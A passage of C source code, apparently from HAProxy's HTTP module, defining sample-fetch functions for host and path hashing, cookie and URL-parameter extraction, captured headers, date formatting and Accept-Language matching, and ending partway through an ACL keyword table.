smp->type = SMP_T_STR;
smp->data.str.str = ptr;
while (ptr < end && *ptr != '?')
ptr++;
smp->data.str.len = ptr - smp->data.str.str;
smp->flags = SMP_F_VOL_1ST | SMP_F_CONST;
return 1;
}
/* This produces a concatenation of the first occurrence of the Host header
* followed by the path component if it begins with a slash ('/'). This means
* that '*' will not be added, resulting in exactly the first Host entry.
* If no Host header is found, then the path is returned as-is. The returned
* value is stored in the trash so it does not need to be marked constant.
* The returned sample is of type string.
*/
static int
smp_fetch_base(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
char *ptr, *end, *beg;
struct hdr_ctx ctx;
struct chunk *temp;
CHECK_HTTP_MESSAGE_FIRST();
ctx.idx = 0;
if (!http_find_header2("Host", 4, txn->req.chn->buf->p, &txn->hdr_idx, &ctx) || !ctx.vlen)
return smp_fetch_path(px, l4, l7, opt, args, smp, kw);
/* OK we have the header value in ctx.line+ctx.val for ctx.vlen bytes */
temp = get_trash_chunk();
memcpy(temp->str, ctx.line + ctx.val, ctx.vlen);
smp->type = SMP_T_STR;
smp->data.str.str = temp->str;
smp->data.str.len = ctx.vlen;
/* now retrieve the path */
end = txn->req.chn->buf->p + txn->req.sl.rq.u + txn->req.sl.rq.u_l;
beg = http_get_path(txn);
if (!beg)
beg = end;
for (ptr = beg; ptr < end && *ptr != '?'; ptr++);
if (beg < ptr && *beg == '/') {
memcpy(smp->data.str.str + smp->data.str.len, beg, ptr - beg);
smp->data.str.len += ptr - beg;
}
smp->flags = SMP_F_VOL_1ST;
return 1;
}
/* This produces a 32-bit hash of the concatenation of the first occurrence of
* the Host header followed by the path component if it begins with a slash ('/').
* This means that '*' will not be added, resulting in exactly the first Host
* entry. If no Host header is found, then the path is used. The resulting value
* is hashed using the path hash followed by a full avalanche hash and provides a
* 32-bit integer value. This fetch is useful for tracking per-path activity on
* high-traffic sites without having to store whole paths.
*/
static int
smp_fetch_base32(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_ctx ctx;
unsigned int hash = 0;
char *ptr, *beg, *end;
int len;
CHECK_HTTP_MESSAGE_FIRST();
ctx.idx = 0;
if (http_find_header2("Host", 4, txn->req.chn->buf->p, &txn->hdr_idx, &ctx)) {
/* OK we have the header value in ctx.line+ctx.val for ctx.vlen bytes */
ptr = ctx.line + ctx.val;
len = ctx.vlen;
while (len--)
hash = *(ptr++) + (hash << 6) + (hash << 16) - hash;
}
/* now retrieve the path */
end = txn->req.chn->buf->p + txn->req.sl.rq.u + txn->req.sl.rq.u_l;
beg = http_get_path(txn);
if (!beg)
beg = end;
for (ptr = beg; ptr < end && *ptr != '?'; ptr++);
if (beg < ptr && *beg == '/') {
while (beg < ptr)
hash = *(beg++) + (hash << 6) + (hash << 16) - hash;
}
hash = full_hash(hash);
smp->type = SMP_T_UINT;
smp->data.uint = hash;
smp->flags = SMP_F_VOL_1ST;
return 1;
}
/* This concatenates the source address with the 32-bit hash of the Host and
* path as returned by smp_fetch_base32(). The idea is to have per-source and
* per-path counters. The result is a binary block from 8 to 20 bytes depending
* on the source address length. The path hash is stored before the address so
* that in environments where IPv6 is insignificant, truncating the output to
* 8 bytes would still work.
*/
static int
smp_fetch_base32_src(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct chunk *temp;
struct connection *cli_conn = objt_conn(l4->si[0].end);
if (!cli_conn)
return 0;
if (!smp_fetch_base32(px, l4, l7, opt, args, smp, kw))
return 0;
temp = get_trash_chunk();
*(unsigned int *)temp->str = htonl(smp->data.uint);
temp->len += sizeof(unsigned int);
switch (cli_conn->addr.from.ss_family) {
case AF_INET:
memcpy(temp->str + temp->len, &((struct sockaddr_in *)&cli_conn->addr.from)->sin_addr, 4);
temp->len += 4;
break;
case AF_INET6:
memcpy(temp->str + temp->len, &((struct sockaddr_in6 *)&cli_conn->addr.from)->sin6_addr, 16);
temp->len += 16;
break;
default:
return 0;
}
smp->data.str = *temp;
smp->type = SMP_T_BIN;
return 1;
}
static int
smp_fetch_proto_http(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
/* Note: hdr_idx.v cannot be NULL in this ACL because the ACL is tagged
* as a layer7 ACL, which involves automatic allocation of hdr_idx.
*/
CHECK_HTTP_MESSAGE_FIRST_PERM();
smp->type = SMP_T_BOOL;
smp->data.uint = 1;
return 1;
}
/* return a valid test if the current request is the first one on the connection */
static int
smp_fetch_http_first_req(struct proxy *px, struct session *s, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
if (!s)
return 0;
smp->type = SMP_T_BOOL;
smp->data.uint = !(s->txn.flags & TX_NOT_FIRST);
return 1;
}
/* Accepts exactly 1 argument of type userlist */
static int
smp_fetch_http_auth(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
if (!args || args->type != ARGT_USR)
return 0;
CHECK_HTTP_MESSAGE_FIRST();
if (!get_http_auth(l4))
return 0;
smp->type = SMP_T_BOOL;
smp->data.uint = check_user(args->data.usr, l4->txn.auth.user, l4->txn.auth.pass);
return 1;
}
/* Accepts exactly 1 argument of type userlist */
static int
smp_fetch_http_auth_grp(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
if (!args || args->type != ARGT_USR)
return 0;
CHECK_HTTP_MESSAGE_FIRST();
if (!get_http_auth(l4))
return 0;
/* if the user does not belong to the userlist or has a wrong password,
* report that it unconditionally does not match. Otherwise we return
* a string containing the username.
*/
if (!check_user(args->data.usr, l4->txn.auth.user, l4->txn.auth.pass))
return 0;
/* pat_match_auth() will need the user list */
smp->ctx.a[0] = args->data.usr;
smp->type = SMP_T_STR;
smp->flags = SMP_F_CONST;
smp->data.str.str = l4->txn.auth.user;
smp->data.str.len = strlen(l4->txn.auth.user);
return 1;
}
/* Try to find the next occurrence of a cookie name in a cookie header value.
* The lookup begins at <hdr>. The pointer and size of the next occurrence of
* the cookie value is returned into *value and *value_l, and the function
* returns a pointer to the next pointer to search from if the value was found.
* Otherwise if the cookie was not found, NULL is returned and neither value
* nor value_l are touched. The input <hdr> string should first point to the
* header's value, and the <hdr_end> pointer must point to the first character
* not part of the value. <list> must be non-zero if value may represent a list
* of values (cookie headers). This makes it faster to abort parsing when no
* list is expected.
*/
static char *
extract_cookie_value(char *hdr, const char *hdr_end,
char *cookie_name, size_t cookie_name_l, int list,
char **value, int *value_l)
{
char *equal, *att_end, *att_beg, *val_beg, *val_end;
char *next;
/* we search at least a cookie name followed by an equal, and more
* generally something like this :
* Cookie: NAME1 = VALUE 1 ; NAME2 = VALUE2 ; NAME3 = VALUE3\r\n
*/
for (att_beg = hdr; att_beg + cookie_name_l + 1 < hdr_end; att_beg = next + 1) {
/* Iterate through all cookies on this line */
while (att_beg < hdr_end && http_is_spht[(unsigned char)*att_beg])
att_beg++;
/* find att_end : this is the first character after the last non
* space before the equal. It may be equal to hdr_end.
*/
equal = att_end = att_beg;
while (equal < hdr_end) {
if (*equal == '=' || *equal == ';' || (list && *equal == ','))
break;
if (http_is_spht[(unsigned char)*equal++])
continue;
att_end = equal;
}
/* here, <equal> points to '=', a delimitor or the end. <att_end>
* is between <att_beg> and <equal>, both may be identical.
*/
/* look for end of cookie if there is an equal sign */
if (equal < hdr_end && *equal == '=') {
/* look for the beginning of the value */
val_beg = equal + 1;
while (val_beg < hdr_end && http_is_spht[(unsigned char)*val_beg])
val_beg++;
/* find the end of the value, respecting quotes */
next = find_cookie_value_end(val_beg, hdr_end);
/* make val_end point to the first white space or delimitor after the value */
val_end = next;
while (val_end > val_beg && http_is_spht[(unsigned char)*(val_end - 1)])
val_end--;
} else {
val_beg = val_end = next = equal;
}
/* We have nothing to do with attributes beginning with '$'. However,
* they will automatically be removed if a header before them is removed,
* since they're supposed to be linked together.
*/
if (*att_beg == '$')
continue;
/* Ignore cookies with no equal sign */
if (equal == next)
continue;
/* Now we have the cookie name between att_beg and att_end, and
* its value between val_beg and val_end.
*/
if (att_end - att_beg == cookie_name_l &&
memcmp(att_beg, cookie_name, cookie_name_l) == 0) {
/* let's return this value and indicate where to go on from */
*value = val_beg;
*value_l = val_end - val_beg;
return next + 1;
}
/* Set-Cookie headers only have the name in the first attr=value part */
if (!list)
break;
}
return NULL;
}
/* Fetch a captured HTTP request header. The index is the position of
* the "capture" option in the configuration file
*/
static int
smp_fetch_capture_header_req(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct proxy *fe = l4->fe;
struct http_txn *txn = l7;
int idx;
if (!args || args->type != ARGT_UINT)
return 0;
idx = args->data.uint;
if (idx > (fe->nb_req_cap - 1) || txn->req.cap == NULL || txn->req.cap[idx] == NULL)
return 0;
smp->type = SMP_T_STR;
smp->flags |= SMP_F_CONST;
smp->data.str.str = txn->req.cap[idx];
smp->data.str.len = strlen(txn->req.cap[idx]);
return 1;
}
/* Fetch a captured HTTP response header. The index is the position of
* the "capture" option in the configuration file
*/
static int
smp_fetch_capture_header_res(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct proxy *fe = l4->fe;
struct http_txn *txn = l7;
int idx;
if (!args || args->type != ARGT_UINT)
return 0;
idx = args->data.uint;
if (idx > (fe->nb_rsp_cap - 1) || txn->rsp.cap == NULL || txn->rsp.cap[idx] == NULL)
return 0;
smp->type = SMP_T_STR;
smp->flags |= SMP_F_CONST;
smp->data.str.str = txn->rsp.cap[idx];
smp->data.str.len = strlen(txn->rsp.cap[idx]);
return 1;
}
/* Extracts the METHOD in the HTTP request, the txn->uri should be filled before the call */
static int
smp_fetch_capture_req_method(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct chunk *temp;
struct http_txn *txn = l7;
char *ptr;
if (!txn->uri)
return 0;
ptr = txn->uri;
while (*ptr != ' ' && *ptr != '\0') /* find first space */
ptr++;
temp = get_trash_chunk();
temp->str = txn->uri;
temp->len = ptr - txn->uri;
smp->data.str = *temp;
smp->type = SMP_T_STR;
smp->flags = SMP_F_CONST;
return 1;
}
/* Extracts the path in the HTTP request, the txn->uri should be filled before the call */
static int
smp_fetch_capture_req_uri(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct chunk *temp;
struct http_txn *txn = l7;
char *ptr;
if (!txn->uri)
return 0;
ptr = txn->uri;
while (*ptr != ' ' && *ptr != '\0') /* find first space */
ptr++;
if (!*ptr)
return 0;
ptr++; /* skip the space */
temp = get_trash_chunk();
ptr = temp->str = http_get_path_from_string(ptr);
if (!ptr)
return 0;
while (*ptr != ' ' && *ptr != '\0') /* find space after URI */
ptr++;
smp->data.str = *temp;
smp->data.str.len = ptr - temp->str;
smp->type = SMP_T_STR;
smp->flags = SMP_F_CONST;
return 1;
}
/* Retrieves the HTTP version from the request (either 1.0 or 1.1) and emits it
* as a string (either "HTTP/1.0" or "HTTP/1.1").
*/
static int
smp_fetch_capture_req_ver(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
if (txn->req.msg_state < HTTP_MSG_HDR_FIRST)
return 0;
if (txn->req.flags & HTTP_MSGF_VER_11)
smp->data.str.str = "HTTP/1.1";
else
smp->data.str.str = "HTTP/1.0";
smp->data.str.len = 8;
smp->type = SMP_T_STR;
smp->flags = SMP_F_CONST;
return 1;
}
/* Retrieves the HTTP version from the response (either 1.0 or 1.1) and emits it
* as a string (either "HTTP/1.0" or "HTTP/1.1").
*/
static int
smp_fetch_capture_res_ver(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
if (txn->rsp.msg_state < HTTP_MSG_HDR_FIRST)
return 0;
if (txn->rsp.flags & HTTP_MSGF_VER_11)
smp->data.str.str = "HTTP/1.1";
else
smp->data.str.str = "HTTP/1.0";
smp->data.str.len = 8;
smp->type = SMP_T_STR;
smp->flags = SMP_F_CONST;
return 1;
}
/* Iterate over all cookies present in a message. The context is stored in
* smp->ctx.a[0] for the in-header position, smp->ctx.a[1] for the
* end-of-header-value, and smp->ctx.a[2] for the hdr_ctx. Depending on
* the direction, multiple cookies may be parsed on the same line or not.
* The cookie name is in args and the name length in args->data.str.len.
* Accepts exactly 1 argument of type string. If the input options indicate
* that no iterating is desired, then only last value is fetched if any.
* The returned sample is of type CSTR. Can be used to parse cookies in other
* files.
*/
int smp_fetch_cookie(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_idx *idx = &txn->hdr_idx;
struct hdr_ctx *ctx = smp->ctx.a[2];
const struct http_msg *msg;
const char *hdr_name;
int hdr_name_len;
char *sol;
int occ = 0;
int found = 0;
if (!args || args->type != ARGT_STR)
return 0;
if (!ctx) {
/* first call */
ctx = &static_hdr_ctx;
ctx->idx = 0;
smp->ctx.a[2] = ctx;
}
CHECK_HTTP_MESSAGE_FIRST();
if ((opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ) {
msg = &txn->req;
hdr_name = "Cookie";
hdr_name_len = 6;
} else {
msg = &txn->rsp;
hdr_name = "Set-Cookie";
hdr_name_len = 10;
}
if (!occ && !(opt & SMP_OPT_ITERATE))
/* no explicit occurrence and single fetch => last cookie by default */
occ = -1;
/* OK so basically here, either we want only one value and it's the
* last one, or we want to iterate over all of them and we fetch the
* next one.
*/
sol = msg->chn->buf->p;
if (!(smp->flags & SMP_F_NOT_LAST)) {
/* search for the header from the beginning, we must first initialize
* the search parameters.
*/
smp->ctx.a[0] = NULL;
ctx->idx = 0;
}
smp->flags |= SMP_F_VOL_HDR;
while (1) {
/* Note: smp->ctx.a[0] == NULL every time we need to fetch a new header */
if (!smp->ctx.a[0]) {
if (!http_find_header2(hdr_name, hdr_name_len, sol, idx, ctx))
goto out;
if (ctx->vlen < args->data.str.len + 1)
continue;
smp->ctx.a[0] = ctx->line + ctx->val;
smp->ctx.a[1] = smp->ctx.a[0] + ctx->vlen;
}
smp->type = SMP_T_STR;
smp->flags |= SMP_F_CONST;
smp->ctx.a[0] = extract_cookie_value(smp->ctx.a[0], smp->ctx.a[1],
args->data.str.str, args->data.str.len,
(opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ,
&smp->data.str.str,
&smp->data.str.len);
if (smp->ctx.a[0]) {
found = 1;
if (occ >= 0) {
/* one value was returned into smp->data.str.{str,len} */
smp->flags |= SMP_F_NOT_LAST;
return 1;
}
}
/* if we're looking for last occurrence, let's loop */
}
/* all cookie headers and values were scanned. If we're looking for the
* last occurrence, we may return it now.
*/
out:
smp->flags &= ~SMP_F_NOT_LAST;
return found;
}
/* Iterate over all cookies present in a request to count how many occurrences
* match the name in args and args->data.str.len. If <multi> is non-null, then
* multiple cookies may be parsed on the same line. The returned sample is of
* type UINT. Accepts exactly 1 argument of type string.
*/
static int
smp_fetch_cookie_cnt(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_idx *idx = &txn->hdr_idx;
struct hdr_ctx ctx;
const struct http_msg *msg;
const char *hdr_name;
int hdr_name_len;
int cnt;
char *val_beg, *val_end;
char *sol;
if (!args || args->type != ARGT_STR)
return 0;
CHECK_HTTP_MESSAGE_FIRST();
if ((opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ) {
msg = &txn->req;
hdr_name = "Cookie";
hdr_name_len = 6;
} else {
msg = &txn->rsp;
hdr_name = "Set-Cookie";
hdr_name_len = 10;
}
sol = msg->chn->buf->p;
val_end = val_beg = NULL;
ctx.idx = 0;
cnt = 0;
while (1) {
/* Note: val_beg == NULL every time we need to fetch a new header */
if (!val_beg) {
if (!http_find_header2(hdr_name, hdr_name_len, sol, idx, &ctx))
break;
if (ctx.vlen < args->data.str.len + 1)
continue;
val_beg = ctx.line + ctx.val;
val_end = val_beg + ctx.vlen;
}
smp->type = SMP_T_STR;
smp->flags |= SMP_F_CONST;
while ((val_beg = extract_cookie_value(val_beg, val_end,
args->data.str.str, args->data.str.len,
(opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ,
&smp->data.str.str,
&smp->data.str.len))) {
cnt++;
}
}
smp->type = SMP_T_UINT;
smp->data.uint = cnt;
smp->flags |= SMP_F_VOL_HDR;
return 1;
}
/* Fetch an cookie's integer value. The integer value is returned. It
* takes a mandatory argument of type string. It relies on smp_fetch_cookie().
*/
static int
smp_fetch_cookie_val(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
int ret = smp_fetch_cookie(px, l4, l7, opt, args, smp, kw);
if (ret > 0) {
smp->type = SMP_T_UINT;
smp->data.uint = strl2ic(smp->data.str.str, smp->data.str.len);
}
return ret;
}
/************************************************************************/
/* The code below is dedicated to sample fetches */
/************************************************************************/
/*
* Given a path string and its length, find the position of beginning of the
* query string. Returns NULL if no query string is found in the path.
*
* Example: if path = "/foo/bar/fubar?yo=mama;ye=daddy", and n = 22:
*
* find_query_string(path, n) points to "yo=mama;ye=daddy" string.
*/
static inline char *find_param_list(char *path, size_t path_l, char delim)
{
char *p;
p = memchr(path, delim, path_l);
return p ? p + 1 : NULL;
}
static inline int is_param_delimiter(char c, char delim)
{
return c == '&' || c == ';' || c == delim;
}
/*
* Given a url parameter, find the starting position of the first occurence,
* or NULL if the parameter is not found.
*
* Example: if query_string is "yo=mama;ye=daddy" and url_param_name is "ye",
* the function will return query_string+8.
*/
static char*
find_url_param_pos(char* query_string, size_t query_string_l,
char* url_param_name, size_t url_param_name_l,
char delim)
{
char *pos, *last;
pos = query_string;
last = query_string + query_string_l - url_param_name_l - 1;
while (pos <= last) {
if (pos[url_param_name_l] == '=') {
if (memcmp(pos, url_param_name, url_param_name_l) == 0)
return pos;
pos += url_param_name_l + 1;
}
while (pos <= last && !is_param_delimiter(*pos, delim))
pos++;
pos++;
}
return NULL;
}
/*
* Given a url parameter name, returns its value and size into *value and
* *value_l respectively, and returns non-zero. If the parameter is not found,
* zero is returned and value/value_l are not touched.
*/
static int
find_url_param_value(char* path, size_t path_l,
char* url_param_name, size_t url_param_name_l,
char** value, int* value_l, char delim)
{
char *query_string, *qs_end;
char *arg_start;
char *value_start, *value_end;
query_string = find_param_list(path, path_l, delim);
if (!query_string)
return 0;
qs_end = path + path_l;
arg_start = find_url_param_pos(query_string, qs_end - query_string,
url_param_name, url_param_name_l,
delim);
if (!arg_start)
return 0;
value_start = arg_start + url_param_name_l + 1;
value_end = value_start;
while ((value_end < qs_end) && !is_param_delimiter(*value_end, delim))
value_end++;
*value = value_start;
*value_l = value_end - value_start;
return value_end != value_start;
}
static int
smp_fetch_url_param(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
char delim = '?';
struct http_txn *txn = l7;
struct http_msg *msg = &txn->req;
if (!args || args[0].type != ARGT_STR ||
(args[1].type && args[1].type != ARGT_STR))
return 0;
CHECK_HTTP_MESSAGE_FIRST();
if (args[1].type)
delim = *args[1].data.str.str;
if (!find_url_param_value(msg->chn->buf->p + msg->sl.rq.u, msg->sl.rq.u_l,
args->data.str.str, args->data.str.len,
&smp->data.str.str, &smp->data.str.len,
delim))
return 0;
smp->type = SMP_T_STR;
smp->flags = SMP_F_VOL_1ST | SMP_F_CONST;
return 1;
}
/* Return the signed integer value for the specified url parameter (see url_param
* above).
*/
static int
smp_fetch_url_param_val(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
int ret = smp_fetch_url_param(px, l4, l7, opt, args, smp, kw);
if (ret > 0) {
smp->type = SMP_T_UINT;
smp->data.uint = strl2ic(smp->data.str.str, smp->data.str.len);
}
return ret;
}
/* This produces a 32-bit hash of the concatenation of the first occurrence of
* the Host header followed by the path component if it begins with a slash ('/').
* This means that '*' will not be added, resulting in exactly the first Host
* entry. If no Host header is found, then the path is used. The resulting value
* is hashed using the url hash followed by a full avalanche hash and provides a
* 32-bit integer value. This fetch is useful for tracking per-URL activity on
* high-traffic sites without having to store whole paths.
* this differs from the base32 functions in that it includes the url parameters
* as well as the path
*/
static int
smp_fetch_url32(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_ctx ctx;
unsigned int hash = 0;
char *ptr, *beg, *end;
int len;
CHECK_HTTP_MESSAGE_FIRST();
ctx.idx = 0;
if (http_find_header2("Host", 4, txn->req.chn->buf->p, &txn->hdr_idx, &ctx)) {
/* OK we have the header value in ctx.line+ctx.val for ctx.vlen bytes */
ptr = ctx.line + ctx.val;
len = ctx.vlen;
while (len--)
hash = *(ptr++) + (hash << 6) + (hash << 16) - hash;
}
/* now retrieve the path */
end = txn->req.chn->buf->p + txn->req.sl.rq.u + txn->req.sl.rq.u_l;
beg = http_get_path(txn);
if (!beg)
beg = end;
for (ptr = beg; ptr < end ; ptr++);
if (beg < ptr && *beg == '/') {
while (beg < ptr)
hash = *(beg++) + (hash << 6) + (hash << 16) - hash;
}
hash = full_hash(hash);
smp->type = SMP_T_UINT;
smp->data.uint = hash;
smp->flags = SMP_F_VOL_1ST;
return 1;
}
/* This concatenates the source address with the 32-bit hash of the Host and
* URL as returned by smp_fetch_base32(). The idea is to have per-source and
* per-url counters. The result is a binary block from 8 to 20 bytes depending
* on the source address length. The URL hash is stored before the address so
* that in environments where IPv6 is insignificant, truncating the output to
* 8 bytes would still work.
*/
static int
smp_fetch_url32_src(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct chunk *temp;
struct connection *cli_conn = objt_conn(l4->si[0].end);
if (!smp_fetch_url32(px, l4, l7, opt, args, smp, kw))
return 0;
temp = get_trash_chunk();
memcpy(temp->str + temp->len, &smp->data.uint, sizeof(smp->data.uint));
temp->len += sizeof(smp->data.uint);
switch (cli_conn->addr.from.ss_family) {
case AF_INET:
memcpy(temp->str + temp->len, &((struct sockaddr_in *)&cli_conn->addr.from)->sin_addr, 4);
temp->len += 4;
break;
case AF_INET6:
memcpy(temp->str + temp->len, &((struct sockaddr_in6 *)&cli_conn->addr.from)->sin6_addr, 16);
temp->len += 16;
break;
default:
return 0;
}
smp->data.str = *temp;
smp->type = SMP_T_BIN;
return 1;
}
/* This function is used to validate the arguments passed to any "hdr" fetch
* keyword. These keywords support an optional positive or negative occurrence
* number. We must ensure that the number is greater than -MAX_HDR_HISTORY. It
* is assumed that the types are already the correct ones. Returns 0 on error,
* non-zero if OK. If <err> is not NULL, it will be filled with a pointer to an
* error message in case of error, that the caller is responsible for freeing.
* The initial location must either be freeable or NULL.
*/
static int val_hdr(struct arg *arg, char **err_msg)
{
if (arg && arg[1].type == ARGT_SINT && arg[1].data.sint < -MAX_HDR_HISTORY) {
memprintf(err_msg, "header occurrence must be >= %d", -MAX_HDR_HISTORY);
return 0;
}
return 1;
}
/* takes an UINT value on input supposed to represent the time since EPOCH,
* adds an optional offset found in args[0] and emits a string representing
* the date in RFC-1123/5322 format.
*/
static int sample_conv_http_date(const struct arg *args, struct sample *smp)
{
const char day[7][4] = { "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun" };
const char mon[12][4] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };
struct chunk *temp;
struct tm *tm;
time_t curr_date = smp->data.uint;
/* add offset */
if (args && (args[0].type == ARGT_SINT || args[0].type == ARGT_UINT))
curr_date += args[0].data.sint;
tm = gmtime(&curr_date);
temp = get_trash_chunk();
temp->len = snprintf(temp->str, temp->size - temp->len,
"%s, %02d %s %04d %02d:%02d:%02d GMT",
day[tm->tm_wday], tm->tm_mday, mon[tm->tm_mon], 1900+tm->tm_year,
tm->tm_hour, tm->tm_min, tm->tm_sec);
smp->data.str = *temp;
smp->type = SMP_T_STR;
return 1;
}
/* Match language range with language tag. RFC2616 14.4:
*
* A language-range matches a language-tag if it exactly equals
* the tag, or if it exactly equals a prefix of the tag such
* that the first tag character following the prefix is "-".
*
* Return 1 if the strings match, else return 0.
*/
static inline int language_range_match(const char *range, int range_len,
const char *tag, int tag_len)
{
const char *end = range + range_len;
const char *tend = tag + tag_len;
while (range < end) {
if (*range == '-' && tag == tend)
return 1;
if (*range != *tag || tag == tend)
return 0;
range++;
tag++;
}
/* Return true only if the last char of the tag is matched. */
return tag == tend;
}
/* Arguments: The list of expected value, the number of parts returned and the separator */
static int sample_conv_q_prefered(const struct arg *args, struct sample *smp)
{
const char *al = smp->data.str.str;
const char *end = al + smp->data.str.len;
const char *token;
int toklen;
int qvalue;
const char *str;
const char *w;
int best_q = 0;
/* Set the constant to the sample, because the output of the
* function will be peek in the constant configuration string.
*/
smp->flags |= SMP_F_CONST;
smp->data.str.size = 0;
smp->data.str.str = "";
smp->data.str.len = 0;
/* Parse the accept language */
while (1) {
/* Jump spaces, quit if the end is detected. */
while (al < end && isspace((unsigned char)*al))
al++;
if (al >= end)
break;
/* Start of the fisrt word. */
token = al;
/* Look for separator: isspace(), ',' or ';'. Next value if 0 length word. */
while (al < end && *al != ';' && *al != ',' && !isspace((unsigned char)*al))
al++;
if (al == token)
goto expect_comma;
/* Length of the token. */
toklen = al - token;
qvalue = 1000;
/* Check if the token exists in the list. If the token not exists,
* jump to the next token.
*/
str = args[0].data.str.str;
w = str;
while (1) {
if (*str == ';' || *str == '\0') {
if (language_range_match(token, toklen, w, str-w))
goto look_for_q;
if (*str == '\0')
goto expect_comma;
w = str + 1;
}
str++;
}
goto expect_comma;
look_for_q:
/* Jump spaces, quit if the end is detected. */
while (al < end && isspace((unsigned char)*al))
al++;
if (al >= end)
goto process_value;
/* If ',' is found, process the result */
if (*al == ',')
goto process_value;
/* If the character is different from ';', look
* for the end of the header part in best effort.
*/
if (*al != ';')
goto expect_comma;
/* Assumes that the char is ';', now expect "q=". */
al++;
/* Jump spaces, process value if the end is detected. */
while (al < end && isspace((unsigned char)*al))
al++;
if (al >= end)
goto process_value;
/* Expect 'q'. If no 'q', continue in best effort */
if (*al != 'q')
goto process_value;
al++;
/* Jump spaces, process value if the end is detected. */
while (al < end && isspace((unsigned char)*al))
al++;
if (al >= end)
goto process_value;
/* Expect '='. If no '=', continue in best effort */
if (*al != '=')
goto process_value;
al++;
/* Jump spaces, process value if the end is detected. */
while (al < end && isspace((unsigned char)*al))
al++;
if (al >= end)
goto process_value;
/* Parse the q value. */
qvalue = parse_qvalue(al, &al);
process_value:
/* If the new q value is the best q value, then store the associated
* language in the response. If qvalue is the biggest value (1000),
* break the process.
*/
if (qvalue > best_q) {
smp->data.str.str = (char *)w;
smp->data.str.len = str - w;
if (qvalue >= 1000)
break;
best_q = qvalue;
}
expect_comma:
/* Expect comma or end. If the end is detected, quit the loop. */
while (al < end && *al != ',')
al++;
if (al >= end)
break;
/* Comma is found, jump it and restart the analyzer. */
al++;
}
/* Set default value if required. */
if (smp->data.str.len == 0 && args[1].type == ARGT_STR) {
smp->data.str.str = args[1].data.str.str;
smp->data.str.len = args[1].data.str.len;
}
/* Return true only if a matching language was found. */
return smp->data.str.len != 0;
}
/*
* Return the struct http_req_action_kw associated to a keyword.
*/
struct http_req_action_kw *action_http_req_custom(const char *kw)
{
if (!LIST_ISEMPTY(&http_req_keywords.list)) {
struct http_req_action_kw_list *kw_list;
int i;
list_for_each_entry(kw_list, &http_req_keywords.list, list) {
for (i = 0; kw_list->kw[i].kw != NULL; i++) {
if (!strcmp(kw, kw_list->kw[i].kw))
return &kw_list->kw[i];
}
}
}
return NULL;
}
/*
* Return the struct http_res_action_kw associated to a keyword.
*/
struct http_res_action_kw *action_http_res_custom(const char *kw)
{
if (!LIST_ISEMPTY(&http_res_keywords.list)) {
struct http_res_action_kw_list *kw_list;
int i;
list_for_each_entry(kw_list, &http_res_keywords.list, list) {
for (i = 0; kw_list->kw[i].kw != NULL; i++) {
if (!strcmp(kw, kw_list->kw[i].kw))
return &kw_list->kw[i];
}
}
}
return NULL;
}
/************************************************************************/
/* All supported ACL keywords must be declared here. */
/************************************************************************/
/* Note: must not be declared <const> as its list will be overwritten.
* Please take care of keeping this list alphabetically sorted.
*/
static struct acl_kw_list acl_kws = {ILH, {
{ "base", "base", PAT_MATCH_STR },
{ "base_beg", "base", PAT_MATCH_BEG },
{ "base_dir", "base", PAT_MATCH_DIR },
{ "base_dom", "base", PAT_MATCH_DOM },
{ "base_end", "base", PAT_MATCH_END },
{ "base_len", "base", PAT_MATCH_LEN },
{ "base_reg", "base", PAT_MATCH_REG },
{ "base_sub", "base", PAT_MATCH_SUB },
{ "cook", "req.cook", PAT_MATCH_STR },
{ "cook_beg", "req.cook", PAT_MATCH_BEG },
{ "cook_dir", "req.cook", PAT_MATCH_DIR },
{ "cook_dom", "req.cook", PAT_MATCH_DOM },
{ "cook_end", "req.cook", PAT_MATCH_END },
{ "cook_len", "req.cook", PAT_MATCH_LEN },
{ "cook_reg", "req.cook", PAT_MATCH_REG },
{ "cook_sub", "req.cook", PAT_MATCH_SUB },
{ "hdr", "req.hdr", PAT_MATCH_STR },
{ "hdr_beg", "req.hdr", PAT_MATCH_BEG },
{ "hdr_dir", "req.hdr", PAT_MATCH_DIR },
